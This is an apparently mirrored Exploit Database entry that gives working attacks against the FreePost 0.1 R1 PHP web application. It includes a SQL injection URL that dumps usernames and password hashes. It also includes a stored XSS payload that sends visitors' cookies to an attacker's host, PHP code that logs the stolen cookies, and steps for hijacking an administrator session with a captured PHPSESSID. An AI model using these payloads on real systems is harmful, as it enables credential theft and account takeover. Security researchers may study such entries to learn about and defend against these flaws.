freepost 0.1 r1 – Multiple Vulnerabilities

• Exploit Database
• 104 阅读

• 作者： ThE g0bL!N
  日期： 2012-06-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19035/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

  ##################################################################################################### # Exploit FreePost 0.1 R1 SQL Injection # Date: June 6nd 2012 # Author: ThE g0bL!N # Version: 0.1 R1 # Vendor Url: http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1 # Tested on: Xp Service Pack 2 ##################################################################################################### #Greets To : Lider Pirata, Yassine Tablouche , Ilyes , Bilal , Habib,Djamal, Boukhors .. etc #####################################################################################################   Exploit: -------- 1) You Need To register 2) http://localhost/freepost0.1-R1/edit.php?action=edit&post=1 [SQL CODE] 3) /edit.php?action=edit&post=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7+from+b2users--     ################################################################################################################# [+] FreePost 0.1 R1 Cookie Grabber Exploit [+] Discovered By ThE g0bL!N [+] Greets To : Lider Pirata , Yassine Tablouche , Ilyes , Bilal , Habib, Djamal , Boukhors .. etc [+] Vendor:http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1 ################################################################################################################# PoC -- [+] Make 2 files and upload to your host : [+]cookie.php - > Put in this File That Code: <?php $cookie = $_GET[&apos;cookie&apos;]; $log = fopen("log.txt", "a"); fwrite($log, $cookie ."\n"); fclose($log); ?> [+]log.txt - > CHMOD it 777 and put in the same directory with cookie.php   [+]Exploit: ------- 1)First Register in the site 2) go to http://site.com/edit.php 3) add This Code :<script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script> 4) any one open this page engenie.php you gonna still his cookies   Example ------- Result: ------ PHPSESSID:aafaa0f2cad7431d5cec1431e5bafb03 Then we put that code javascript:document.cookie="PHPSESSID=aafaa0f2cad7431d5cec1431e5bafb03;path=/"; After That you see : Hello Admin :) ################################################################################################################